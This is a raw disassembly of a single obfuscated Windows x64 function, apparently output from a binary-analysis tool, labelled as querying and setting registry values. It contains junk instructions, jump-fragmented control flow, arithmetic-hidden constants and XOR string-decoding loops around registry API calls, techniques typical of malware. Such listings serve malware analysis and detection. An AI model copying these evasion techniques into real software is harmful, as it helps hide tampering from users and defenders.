Function at 0x140025ed0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
xchg rsp, r14
mov r11, r14
xchg r14, rsp
jmp 0x1400262fa
xchg r13, r13
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140026567
movd xmm0, dword [rcx - 0xc]
mov dword [rsp - 0x38], edx
pxor xmm2, xmm0
jmp 0x140026344
mov dword [rsp - 0x14], 0x2fef8cf3
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140119390]
mov edx, ebx
mov dword [rsp - 0x3c], 0x4d7a3eda
jmp 0x140026224
movups xmmword [rbp + 0x70], xmm1
xchg rsp, rbp
mov byte [rbp - 0x7e], al
xchg r11, r11
cmp edi, 2
jmp 0x14002654c
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x38], edi
psrad xmm1, xmm6
jmp 0x140025fe1
pmuldq xmm1, xmm4
xchg rbx, rbx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400263b4
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
mov dword [rsp - 0x20], esi
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
jmp 0x1400265cb
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
mov rdi, rdi
pmuldq xmm0, xmm4
sub edx, 0xfffffff8
jmp 0x140025f54
mov dword [rsp - 0x20], edx
imul r8d
sar edx, 2
jmp 0x140026147
xchg rsp, r8
lea r15d, [rbx + 0x1f]
mov dword [rsp - 0x24], edx
movups xmm0, xmmword [0x140119ab0]
xor sil, sil
movups xmmword [rsp + 0x50], xmm1
mov r14, r14
jmp 0x140026200
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0xc], ebx
jmp 0x140026379
mov dword [rsp - 0x44], edi
jl 0x1400263f9
cmp r8d, 0x43
jge 0x140026528
jmp 0x140026198
shr eax, 7
shr eax, 0xb
shr eax, 1
shr eax, 3
shr eax, 1
add edx, eax
jmp 0x1400260c3
mov dword [rsp - 0x30], 0x6671458
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14002627e
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
xchg r11, r11
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x14002640f
pmulld xmm0, xmm7
mov dword [rsp - 0x38], 0x1722acab
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
jmp 0x140026447
movd xmm0, dword [rcx - 8]
xchg rbp, rbp
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jmp 0x140025ff7
xchg rcx, rax
movups xmm0, xmmword [0x140119a90]
xor ebx, ebx
xchg rbp, rbp
movups xmm1, xmmword [0x140119aa0]
mov r8d, ebx
movzx eax, word [0x140119ad0]
jmp 0x140026468
xchg rbp, rbp
mov eax, 0x3ab039a1
sub eax, 0x2fbeb510
xor eax, 0x7bcf645c
sub eax, 0x1ffb3432
add eax, 0x7a38cb
jmp 0x1400265fa
xchg rsp, r11
movups xmmword [r11 + 0x40], xmm0
xchg rsp, r11
mov dword [rbp + 8], r14d
xchg rcx, rsp
movsd qword [rcx + 0x50], xmm1
jmp 0x140026354
add rcx, 0x68891796
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140026c80
jmp 0x140026154
imul ecx, eax, 0x31
add cl, r8b
inc r8d
jmp 0x140026516
xchg r10, r10
movd xmm6, r14d
movd xmm8, r15d
nop dword [rax]
movd xmm2, edx
mov r10, r10
lea eax, [rdx + 4]
jmp 0x140026327
sar edx, 2
mov eax, edx
shr eax, 8
jmp 0x140026010
mov dword [rsp - 0x40], 0x71568312
cmp byte [0x140119aef], bl
movups xmm0, xmmword [0x140119ad8]
mov dword [rbp], ebx
mov dword [rsp - 0x28], edx
movsd xmm1, qword [str.716___HwWR__DRkNOUSYL]
jmp 0x1400260e4
psubd xmm2, xmm0
mov r15, r15
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x140026538
movsxd rax, r8d
xchg r13, r13
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
xchg rbp, rbp
nop dword [rax + rax]
jmp 0x1400262cd
xor rax, rsp
xchg rcx, rax
mov qword [rbp + 0x10], rcx
jmp 0x14002609f
pshufd xmm3, xmm3, 0
mov dword [rsp - 0x40], 0x7fb9bbff
punpckldq xmm1, xmm2
jmp 0x140025f94
sub rsp, 8
mov qword [rsp], r14
push r15
mov dword [rsp - 0x44], 0x78ec9104
lea rbp, [r11 - 0x78]
sub rsp, 0x35ebd400
jmp 0x1400262b5
movups xmm1, xmmword [str.W_GO]
mov word [rbp - 0x80], ax
movzx eax, byte [0x140119ad2]
xchg rdx, rsp
movups xmmword [rdx + 0x60], xmm0
xchg rsp, rdx
xchg rbp, rsp
jmp 0x140025f24
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
xchg rsp, rdi
movdqa xmmword [rdi + 0x30], xmm0
xchg rdi, rsp
mov r8d, dword [rsp + 0x30]
jmp 0x140026128
add r8d, 0xfffffff8
neg r8d
pmuldq xmm1, xmm4
jmp 0x140026024
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
mov dword [rsp - 0xc], 0x7c7be0ce
cmp edx, 0x18
jl 0x140026138
jmp 0x140026500
psrld xmm0, xmm8
xchg rsi, rsi
paddd xmm0, xmm1
jmp 0x1400263ca
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x3c], 0x335ebac3
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
jmp 0x1400265e0
add rsp, 0x35ebd2a0
movaps xmmword [r11 - 0x28], xmm6
xchg r11, rcx
movaps xmmword [rcx - 0x38], xmm7
jmp 0x1400265ae
mov eax, 0x4856ac08
xor eax, 0x1f9948e3
sub eax, 0x2411f829
add eax, 0x2d7da448
sub eax, 0x3d0c45b3
jmp 0x14002660c
nop
sub rsp, 8
mov qword [rsp], rbp
nop
jmp 0x1400261de
mov qword [r11 + 0x10], rbx
xchg rdi, r15
mov qword [r11 + 0x18], r15
xchg r15, rdi
jmp 0x1400262eb
xor rcx, 0x728d8f81
add rcx, 0x57d92d4c
sub rcx, 0x4d3a72a7
jmp 0x140026100
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
mov r14, r14
movd xmm3, eax
movdqa xmm1, xmm2
jmp 0x1400261c8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xchg rbx, rbx
jmp 0x140025f39
xchg rsp, rcx
je 0x140026730
mov r8d, ebx
xchg rbx, rbx
cmp edi, 2
jl 0x140026624
movdqa xmm0, xmmword [str.1111111111111111_t]
jmp 0x140025f00
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
mov dword [rsp - 0x30], esi
pshufhw xmm1, xmm0, 0xd8
jmp 0x140026426
xor r9d, 0x527a17ba
sub r9d, 0x253619c5
mov qword [rsp + 0x20], rax
mov dword [rsp - 0x38], ecx
xor r8d, r8d
jmp 0x1400264a0
mov dword [rsp - 0x18], 0x72436641
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14002617d
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov rcx, rcx
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14002628f
mov dword [rsp - 0x14], 0x221de270
movd xmm8, r15d
nop dword [rax]
movd xmm2, r8d
mov dword [rsp - 0x10], 0x1d3c331a
lea eax, [r8 + 4]
jmp 0x140026487
mov dword [rsp - 0x10], esp
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
jmp 0x140025ede
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
mov rdi, rdi
packuswb xmm2, xmm2
paddb xmm2, xmm0
jmp 0x140026085
xchg r13, r13
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
mov dword [rsp - 0x24], ecx
jmp 0x14002625a
mov edi, dword [0x1402567d0]
mov dword [rsp - 0x14], edx
mov qword [r11 + 8], rsi
lea r14d, [rbx + 4]
xchg rsp, r8
movups xmmword [r8 + 0x40], xmm0
jmp 0x140025fbf
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
mov rdi, rdi
movd xmm3, eax
jmp 0x140025f72
lea rdx, [rsp + 0x40]
nop
movabs rcx, 0xffffffff485c3705
xor rcx, 0x212326b0
sub rcx, 0x57e870c4
xor rcx, 0x3a4fd889
add rcx, 0x527c29ce
jmp 0x14002630d
movdqa xmm5, xmmword [0x140119390]
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
mov rdi, rdi
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
jmp 0x1400263e5
jmp 0x140026730
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
mov dword [rsp - 0x10], esp
jmp 0x14002603d
mov dword [rsp - 0x28], ecx
xor byte [r9 - 1], cl
cmp r8d, 0x43
jl 0x1400262cd
lea rax, [rbp - 0x10]
mov dword [rsp - 0x10], esp
xchg r13, rsp
jmp 0x14002657c
mov rdi, rdi
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1401193d0]
jmp 0x140026505
jl 0x140026198
movdqa xmm0, xmmword [str.1111111111111111_t]
lea rcx, [rsp + 0x44]
xchg r9, r9
jmp 0x1400264d1
movdqa xmm0, xmm1
mov rsp, rsp
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140026060
movaps xmmword [r13 + 0x120], xmm9
xchg rsp, r13
mov r9d, 0x1780798c
add r9d, 0x16384d57
sub r9d, 0x2612119a
xor r9d, 0x40b7952c
add r9d, 0x302ded59
jmp 0x140026395
xchg r11, rcx
xchg r9, r11
movaps xmmword [r9 - 0x48], xmm8
xchg r9, r11
mov rax, qword [0x1402567f0]
mov rsi, rsi
jmp 0x1400261ba
mov dword [rsp - 0x18], 0x5ab03fce
pmuldq xmm0, xmm4
neg r8d
jmp 0x140026249
mov dword [rsp - 0x3c], 0x7b0cd531
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
jmp 0x140025eee
sub eax, 0x51bde565
sub al, dl
movsx eax, al
mov r12, r12
jmp 0x14002611a
add eax, 0x1f7773c9
sub eax, 0x38b80031
add eax, 0x48a8c3ae
lea r9, [r9 + 1]
jmp 0x140025fb0
lea r9, [rsp + 0x40]
mov r12, r12
nop dword [rax + rax]
mov eax, 0x392a892d
xor eax, 0x4eec1e24
jmp 0x14002698a
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
mov dword [rsp - 0x1c], esi
inc r8d
sub al, cl
sub al, 0xcf
jmp 0x140026766
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
mov dword [rsp - 0x10], edi
jmp 0x1400267fe
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
mov dword [rsp - 0x10], edi
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
jmp 0x1400266c1
xchg rdi, rdi
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
xchg r15, r15
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
jmp 0x14002667b
pxor xmm2, xmm0
mov dword [rsp - 0x24], 0x2aa3b1ee
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x14002685a
jmp 0x140026959
popf
movsd xmm1, qword [str.716___Hw]
mov dword [rsp - 0x34], ebp
jmp 0x1400268ff
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg r15, r15
jmp 0x14002665d
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
mov rsp, rsp
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
jmp 0x14002677c
mov rcx, qword [rbp - 0x10]
mov r9, r9
lea rax, [rbp + 8]
xchg rcx, rax
mov qword [rsp + 0x28], rcx
jmp 0x14002683f
xchg r13, rsp
mov r8d, dword [rsp + 0x30]
mov dword [rsp - 0x3c], esi
movd xmm6, r14d
movd xmm8, r15d
nop dword [rax]
jmp 0x14002684e
xchg rsp, rsp
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140026634
jmp 0x140026730
psrad xmm1, xmm6
mov rdi, rdi
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14002669e
xchg rcx, rcx
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x44], 0x131a1ec2
jmp 0x1400266f3
mov r8d, ebx
mov dword [rsp - 0x1c], edi
cmp edi, 2
jl 0x1400269a8
movdqa xmm0, xmmword [str.1111111111111111_t]
lea rcx, [rsp + 0x44]
mov dword [rsp - 0x28], 0x58aa6ff8
jmp 0x14002695e
lea rax, [rbp]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp - 0x20], 0x7aed5657
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
jmp 0x1400268a2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
xchg r8, r8
movd xmm0, dword [rcx - 0xc]
jmp 0x14002670e
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
mov dword [rsp - 0x28], ecx
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
jmp 0x1400268e3
xchg rcx, rax
lea rdx, [rsp + 0x40]
mov r12, r12
jmp 0x1400267dc
mov dword [rsp - 0x2c], ecx
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x1c], 0x6dbe0c9b
jmp 0x14002681d
xor dword [rbp], 0x529d857d
xor dword [rbp], 0x86a08fd
sub dword [rbp], 0x20884ff3
xor dword [rbp], 0x7545400
add dword [rbp], 0x188f7610
sub dword [rbp], 0x4d284388
jmp 0x1400266e0
test eax, eax
jne 0x1400268bc
cmp dword [rbp], 3
mov dword [rsp - 0x34], 0x3709bc52
je 0x140027bbf
cmp byte [0x140119b07], bl
movups xmm0, xmmword [0x140119af0]
jmp 0x14002693a
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140026795
movdqa xmm0, xmm2
mov rsp, rsp
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
mov rbp, rbp
jmp 0x1400268ce
xchg rsp, rbx
movups xmmword [rbx + 0x40], xmm0
xchg rbx, rsp
xchg r8, rsp
movsd qword [r8 + 0x50], xmm1
xchg rsp, r8
je 0x140027bec
jmp 0x1400267b2
sub eax, 0xed6880f
lea r9, [r9 + 1]
mov dword [rsp - 0x30], edi
mul r8d
shr edx, 3
shr edx, 1
jmp 0x140026643
mov r9, r9
pushf
mov dword [rbp], 0x6f695480
xor dword [rbp], 0x50c6b376
sub dword [rbp], 0x310c8308
jmp 0x140026873
jmp 0x140027bec
movdqa xmm5, xmmword [0x140119390]
mov edx, ebx
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
mov dword [rsp - 0x2c], ecx
xchg rsp, r13
movdqa xmmword [r13 + 0x30], xmm0
jmp 0x140026747
xor eax, 0x4f3ff846
xor eax, 0x7c0cea47
add eax, 0x27860044
sub eax, 0x2be48733
xor eax, 0x22f8f4b5
jmp 0x140026920
lea r9, [rsp + 0x40]
mov rbp, rbp
nop dword [rax + rax]
mov eax, 0x51221381
sub eax, 0x19a66676
sub eax, 0x29eb5c4c
jmp 0x140026c44
mov dword [rsp - 0x44], ebp
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
jmp 0x14002781a
sub eax, 0x1b299737
lea r8, [r8 + 1]
imul ecx
jmp 0x140026bc3
mov r15, r15
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
jmp 0x140026f1f
xchg rsp, r13
movups xmmword [r13 + 0x40], xmm0
xchg rsp, r13
movups xmm0, xmmword [0x140119be0]
jmp 0x140027a6b
xchg rsp, r14
mov dword [rsp + 0x58], eax
je 0x1400272c1
xchg r14, r14
mov r8d, ebx
jmp 0x140026d6e
xchg rbp, rbp
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1c
mov dword [rsp - 0x28], ecx
jmp 0x140026d4d
mov dword [rsp - 0x2c], ebx
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
xchg r9, r9
jmp 0x14002774e
mov r8d, ebx
xchg rdi, rdi
cmp edi, 2
jl 0x140027ede
movdqa xmm2, xmmword [0x140119390]
mov rsp, rsp
jmp 0x1400278f0
mov rdi, rdi
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x20], edi
jmp 0x140026c58
paddw xmm3, xmm2
pxor xmm3, xmm0
xchg rsi, rsi
movq qword [rcx - 8], xmm3
jmp 0x140026cca
xchg rbx, rbx
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x1400277bd
xchg rbx, rbx
paddd xmm3, xmm5
pmuldq xmm0, xmm4
nop
add r8d, 0x5671083c
jmp 0x140027437
xchg rbp, rbp
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
jmp 0x1400278b3
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
xchg r9, r9
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
jmp 0x140027414
pushf
mov dword [rbp - 8], 0x561c052f
xor dword [rbp - 8], 0x357b3bfc
xor dword [rbp - 8], 0x207e7330
xor dword [rbp - 8], 0xf57130
add dword [rbp - 8], 0x34b25fcf
jmp 0x1400273b8
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x1400279b7
cmp r8d, 0x1c
xchg r13, r13
jmp 0x14002733a
sub eax, 0x1385e52a
sub eax, 0x1324c7ea
sub al, dl
xchg rsi, rsi
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
jmp 0x140026a3f
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
xchg r13, r13
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x1400272e2
movdqa xmm0, xmm1
mov dword [rsp - 0x38], 0x721dda7a
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140027caa
xchg r9, r9
sar edx, 3
sar edx, 1
mov eax, edx
shr eax, 0x12
shr eax, 3
shr eax, 2
jmp 0x140026da7
mov dword [rsp - 0x18], edi
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x1c], edi
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x1400275e3
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
mov dword [rsp - 0x18], 0x4dbcb2c9
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x140027b75
mov dword [rsp + 0x28], r14d
lea rdx, [rsp + 0x40]
mov r9d, r14d
mov dword [rsp - 0x40], ebp
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14002728d
add eax, 0x621c870b
sub eax, 0x1bf8e083
sub eax, 0x380f8542
jmp 0x1400271bc
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov rsp, rsp
pshufhw xmm1, xmm0, 0xd8
jmp 0x140026b83
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xchg r12, r12
movups xmm0, xmmword [0x140119bc0]
mov ecx, ebx
mov eax, dword [0x140119c10]
mov dword [rsp - 0x38], ebp
movups xmm1, xmmword [0x140119bd0]
jmp 0x140026a10
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
mov dword [rsp - 0x24], 0x5030d433
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
jmp 0x140026a56
cmp r8d, 0x18
jl 0x1400277b3
cmp r8d, 0x1b
mov dword [rsp - 0x10], ebx
jmp 0x140027366
psrad xmm1, xmm6
xchg r15, r15
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140026e31
add r9, rax
nop dword [rax]
mov dword [rsp - 0x18], ebp
nop dword [rax + rax]
mov eax, 0x71146619
jmp 0x1400278d7
inc r8d
xor byte [r9 - 1], cl
mov dword [rsp - 0xc], 0x2a291643
cmp r8d, 0x1c
jmp 0x1400272bb
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
mov dword [rsp - 0x3c], ecx
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
jmp 0x140026ebb
jl 0x140026d09
xchg r8, rcx
mov r8, qword [rbp - 0x10]
xchg r8, rcx
lea rax, [rbp - 8]
mov dword [rsp - 0x18], 0x19707832
jmp 0x140026c20
cmp edi, 2
jl 0x140027340
mov dword [rsp - 0x44], 0x6a3b20f1
jmp 0x140027659
movd xmm6, r14d
movd xmm8, r15d
mov dword [rsp - 0x20], 0x15da8f57
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
jmp 0x140026aeb
shr eax, 1
shr eax, 7
add edx, eax
mov eax, 0x54f0eac7
add eax, 0xfb4c7b7
xor eax, 0x657122d6
add eax, 0x3eca1531
jmp 0x14002757d
psrld xmm0, xmm5
paddd xmm0, xmm1
mov dword [rsp - 0x44], ebx
pmulld xmm0, xmmword [str.1111]
psubd xmm3, xmm0
jmp 0x140027354
pshufd xmm3, xmm3, 0
mov r10, r10
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x140026ad2
mov r12, r12
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
movdqa xmm9, xmmword [0x1401193c0]
jmp 0x14002779d
mov dword [rsp - 0x44], 0x44018ffd
sar edx, 1
sar edx, 2
jmp 0x140027a49
paddd xmm0, xmm1
mov dword [rsp - 0xc], 0x60aa5826
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x140027a5a
mov r8d, ebx
mov dword [rsp + 0x70], eax
movzx eax, word [0x140119bb4]
mov word [rsp + 0x74], ax
jmp 0x140027398
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140119b28]
xchg rsi, rsp
movups xmmword [rsi + 0x50], xmm1
jmp 0x1400277d3
mov eax, 0x30d75064
xor eax, 0x482520c8
xor eax, 0x64174ce8
jmp 0x14002744b
xor word [r9 - 2], cx
cmp r8d, 0x1b
jl 0x140027d5b
lea rcx, [rsp + 0x40]
mov dword [rsp - 0x18], edi
call fcn.1400ae360
jmp 0x140027711
xchg r15, r15
movd dword [rbp], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov r15, r15
movdqa xmm0, xmm1
jmp 0x140026dc7
movdqa xmm7, xmmword [str.1111]
mov dword [rsp - 0x34], edx
movdqa xmmword [rsp + 0x30], xmm0
mov r8d, dword [rsp + 0x30]
jmp 0x140026d84
mov dword [rsp - 0x40], esp
movd xmm6, r14d
movd xmm8, r15d
jmp 0x140027c27
xor eax, 0x19622678
sub eax, 0x5628b037
xor eax, 0x631ac65
jmp 0x14002785e
mov dword [rsp - 0x2c], esp
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x140027b21
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov dword [rsp - 0x2c], 0x78201545
shufps xmm1, xmm0, 0xdd
jmp 0x140027e11
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
mov dword [rsp - 0x18], esi
paddd xmm2, xmm5
sub r8d, 0xfffffff8
movdqa xmm1, xmm2
jmp 0x1400269cc
xchg rsp, r14
movups xmmword [r14 + 0x60], xmm0
xchg rsp, r14
cmp edi, 2
jl 0x14002762e
movdqa xmm5, xmmword [0x140119390]
xchg rcx, rcx
jmp 0x140027505
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140026bdb
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
xchg r12, r12
paddd xmm2, xmm5
jmp 0x14002707c
sub sil, 0x28
xor sil, 0x1f
xor sil, 0x56
jmp 0x140027065
movsd xmm1, qword [str.716___]
mov dword [rsp - 0x38], 0xefc4b05
xchg rsp, rsi
movups xmmword [rsi + 0x40], xmm0
xchg rsp, rsi
jmp 0x140026b21
xchg r9, rbp
movups xmmword [rsp + 0x70], xmm1
mov byte [rbp - 0x6a], al
xchg rdx, rdx
cmp edi, 2
jl 0x140027d29
movdqa xmm0, xmmword [str.1111111111111111_t]
jmp 0x1400279e7
shr eax, 1
shr eax, 0x1d
shr eax, 1
add edx, eax
mov eax, 0x72fa220b
jmp 0x140026f0b
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov dword [rsp - 0x2c], 0x60968c0d
mov eax, edx
jmp 0x14002713b
xchg rcx, r10
lea rax, [rbp + 8]
mov dword [rsp - 0x3c], edx
xchg rdx, rax
mov qword [rsp + 0x28], rdx
xchg rdx, rax
jmp 0x1400279c8
sub sil, 0x18
xor sil, 0x43
xchg rcx, r8
mov r8, qword [rbp - 0x10]
xchg rcx, r8
jmp 0x140026c77
movdqa xmm1, xmm2
movdqa xmm0, xmm2
mov rdx, rdx
jmp 0x140026f36
mov eax, dword [str.1111111111111111_t]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
mov dword [rsp - 0x14], ecx
pmuldq xmm1, xmm4
movd xmm6, r14d
jmp 0x1400273f4
add r8, rax
nop dword [rax]
nop word [rax + rax]
jmp 0x140027cef
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
xchg r11, r11
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140026ce1
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x44], 0x341aa905
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140027317
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140027c0d
mov rcx, rcx
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
mov r13, r13
punpckhdq xmm0, xmm2
jmp 0x1400270c9
shr eax, 0x1d
shr eax, 1
shr eax, 1
jmp 0x1400274cc
mov dword [rsp - 0x3c], 0x7b22c280
movdqa xmm0, xmmword [str.1111111111111111_t]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140119390]
mov dword [rsp - 0x40], 0x117cdb63
movdqa xmm4, xmmword [0x14011a4f0]
jmp 0x140027a98
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
mov rbx, rbx
movd xmm3, eax
movdqa xmm1, xmm2
jmp 0x140026de5
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
mov dword [rsp - 0x44], 0x7678ad9f
sub ecx, 0xfffffff8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140026a8f
xor eax, 0x64deebd3
sub eax, 0x2be31739
lea r9, [r9 + 1]
mov dword [rsp - 0x40], edx
jmp 0x140027a2f
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x14002711b
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x1c], 0x20fdf3c3
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
mov dword [rsp - 0x24], 0x65bca057
pshufd xmm3, xmm1, 0xd8
jmp 0x140026aa8
add edx, eax
mov rdx, rdx
mov eax, 0x5bd88d5c
add eax, 0x191b17d1
sub eax, 0x6f14bb7d
xor eax, 0x4ca1f132
jmp 0x1400277fc
movdqa xmmword [rbx + 0x30], xmm0
xchg rsp, rbx
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
mov r10, r10
jmp 0x1400279b1
mov eax, dword [0x140119b38]
